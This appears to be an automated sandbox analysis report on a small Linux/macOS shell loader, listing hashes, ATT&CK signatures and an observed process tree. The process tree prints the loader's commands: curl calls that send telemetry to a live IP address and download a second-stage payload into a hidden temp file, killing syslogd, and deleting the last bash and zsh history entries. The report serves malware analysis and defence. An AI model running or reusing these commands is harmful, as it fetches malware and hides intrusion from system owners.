829aa6c933fd451152cd3138ef796845c675bcb32a8cd06c1131b4b5dc66177c

Analysis

max time kernel
3s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/08/2026, 12:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
411f7d3bff31a
Size 4KB
Sample260805-pffftafl9w
SHA256 829aa6c933fd451152cd3138ef796845c675bcb32a8cd06c1131b4b5dc66177c
MD5 f9d431b8947d5389f2e1bb4dedb00c6d
SHA1 c0a443b4b82a914b3de1ef02d83743399b6e3798
SHA512 8e0f3bdec02ca6f485e24923f7698067e3d4c0688aedc5a263ce5f8d3a44d8f8d3e02a349e2352f1490f96cfe5b71bbcbd22acc1895ce515c33259d176861bee
SSDEEP 96:JpdGNA5F6Hh07QxprmTkXiEJhCCQSyBuL1RgB:3dGe5FkhnjykpCCQSyBuL1RgB
TLSH
T197A130F6F9B4BE313A0CA02E756D20816A9B0C3F02E939E58447FC65555C59CAA3C27F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm credential_access defense_evasion discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
703	sed

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
690	base64

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/323/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/107/status	pkill
File opened for reading	/proc/110/status	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/306/cmdline	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/290/cmdline	pkill
File opened for reading	/proc/297/cmdline	pkill
File opened for reading	/proc/224/status	pkill
File opened for reading	/proc/306/status	pkill
File opened for reading	/proc/567/cmdline	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/28/status	pkill
File opened for reading	/proc/137/status	pkill
File opened for reading	/proc/316/cmdline	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/647/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/224/cmdline	pkill
File opened for reading	/proc/578/status	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/288/cmdline	pkill
File opened for reading	/proc/316/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/43/status	pkill
File opened for reading	/proc/575/status	pkill
File opened for reading	/proc/634/status	pkill
File opened for reading	/proc/641/cmdline	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/141/status	pkill
File opened for reading	/proc/630/cmdline	pkill
File opened for reading	/proc/636/cmdline	pkill
File opened for reading	/proc/680/cmdline	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/76/status	pkill
File opened for reading	/proc/293/cmdline	pkill
File opened for reading	/proc/599/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/643/status	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/642/status	pkill
File opened for reading	/proc/656/cmdline	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/630/status	pkill
File opened for reading	/proc/641/status	pkill
File opened for reading	/proc/7/cmdline	pkill

/tmp/411f7d3bff31a
/tmp/411f7d3bff31a
1⤵
PID:644
- /bin/date
  date "+%s"
  2⤵
  PID:653
- /usr/bin/whoami
  whoami
  2⤵
  PID:662
- /bin/mktemp
  mktemp -d
  2⤵
  PID:670
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.system
  2⤵
  PID:671
- /usr/bin/arch
  arch
  2⤵
  PID:673
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:676
- /usr/bin/pkill
  pkill -9 -f com.apple.syslogd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:678
- /bin/sleep
  sleep 0.4
  2⤵
  PID:682
- /usr/bin/id
  id -u
  2⤵
  PID:685
- /bin/uname
  uname -r
  2⤵
  PID:687
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:690
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:694
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:692
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:693
- /bin/uname
  uname -m
  2⤵
  PID:696
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"e0b128550e176379\",\"src\":\"http://46.226.162.241/d90acb823cb7c7?force=1\"}" -m 5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:695
- /usr/bin/head
  head -c 32
  2⤵
  PID:699
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  PID:701
- /usr/bin/curl
  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://46.226.162.241/211f79a06c?force=1" -o /tmp/tmp.j6PRKkm6wM/.o7kQID
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:702
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  PID:703
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:705
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"e0b128550e176379\",\"src\":\"http://46.226.162.241/d90acb823cb7c7?force=1\"}" -m 3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:706
- /bin/rm
  rm -rf /tmp/tmp.j6PRKkm6wM
  2⤵
  PID:707